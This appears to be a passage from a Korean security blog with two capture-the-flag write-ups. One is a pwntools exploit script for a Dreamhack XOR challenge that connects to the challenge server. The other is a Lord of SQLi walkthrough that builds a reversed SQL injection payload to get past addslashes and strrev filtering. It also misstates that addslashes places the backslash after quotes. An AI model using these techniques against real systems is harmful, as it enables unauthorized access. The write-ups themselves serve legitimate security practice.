반응형

IDA로 우선까보자

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[9]; // [rsp+6h] [rbp-3Ah] BYREF
  char s[9]; // [rsp+Fh] [rbp-31h] BYREF
  unsigned int v6; // [rsp+18h] [rbp-28h] BYREF
  unsigned int v7; // [rsp+1Ch] [rbp-24h] BYREF
  char *s2; // [rsp+20h] [rbp-20h]
  int fd; // [rsp+2Ch] [rbp-14h]
  void *buf; // [rsp+30h] [rbp-10h]
  unsigned int v11; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  v7 = 0;
  v6 = 0;
  v11 = 0;
  initialize(argc, argv, envp);
  buf = malloc(0x45uLL);
  fd = open("./flag", 0);
  read(fd, buf, 0x45uLL);
  close(fd);
  get_rand_num(&v6);
  printf("Random number: %#x\n", v6);
  printf("Input? ");
  __isoc99_scanf("%d", &v7);
  v11 = v6 ^ v7;
  snprintf(s, 9uLL, "%08x", v6 ^ v7);
  for ( i = 0; i <= 7; ++i )
    s1[i] = s[7 - i];
  printf("Result: %s\n", s1);
  s2 = "a0b4c1d7";
  if ( !strcmp(s1, "a0b4c1d7") )
  {
    puts("Congrats!");
    puts((const char *)buf);
  }
  else
  {
    puts("Try again");
  }
  return 0;
}

 

1. get_rand_num()에 의해 난수를 생성하고 생성된 난수를 16진수로 출력

2. Input? 이후에 사용자에게 입력받음

3. 입력받은 정수를 난수와 XOR연산을 수행한다.

4. 결과를 8자리 16진수형태의 문자열로 변환하여 저장

5. 저장한 문자열을 역순으로 읽고, a0b4c1d7과 비교한다.

 

 

cf.

argc: 명령줄에 전달된 인자의 갯수(임수 값을 가지지 않음)

argv: 인자의 내용이 저장되는 포인터형 배열

envp: 인자 값 중 환경변수 값이 들어가는 포인터형 배열

-예시-

code

#include <stdio.h>

int main(int argc, char *argv[]) {
    printf("%d\n", argc);
    printf("%s\n", argv[0]);
    printf("%s\n", argv[1]);
    return 0;
}

 

 

 

exploit code

from pwn import *

context.log_level = "DEBUG"
p = remote("host3.dreamhack.games", 10336)

p.recvuntil("number: ")

rand_num = p.recvn(10)
rand_num = int(rand_num, 16)  ^ 0x7d1c4b0a
rand_num = str(rand_num)

p.sendlineafter("Input? ", rand_num)

p.interactive()

반응형

'wargame' 카테고리의 다른 글

likeb64  (0) 2024.03.15
bypassIF  (0) 2024.03.10
Broken Buffalo Wings  (0) 2023.09.10
LoS - zombie assassin  (0) 2023.08.27
phpreg  (0) 2023.08.27

반응형

이전의 succubus문제와 유사하게 풀면된다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

여기서 알아야할 함수는 두가지이다.

addslashes : ', " , %00(null) 뒤에 역슬래시를 추가한다.

strrev() : 문자열을 반대순서로 입력한다.

ex. strrev(test) -> tset

 

일부러 addslashes를 이용하는 payload를 구성하면 아래와 같다.

id="&pw=or 1=1%23

 

이제 입력하기 위해 역순으로 만들어준다. 이 때, %23역시 32%로 만들어주면 #으로 인식하지 못하기에 %23은 그대로 입력해주어야한다.

그리하여 최종적인 payload는 아래와 같다.

?id="&pw=%231=1%20ro

 이렇게 보내면, highlight친 부분이 문자열로 처리되기에 뚫리는 것이다.

반응형

'wargame' 카테고리의 다른 글

simple-operation  (0) 2023.09.18
Broken Buffalo Wings  (0) 2023.09.10
phpreg  (0) 2023.08.27
type confusion  (0) 2023.08.27
tmitter  (0) 2023.08.26

+ Recent posts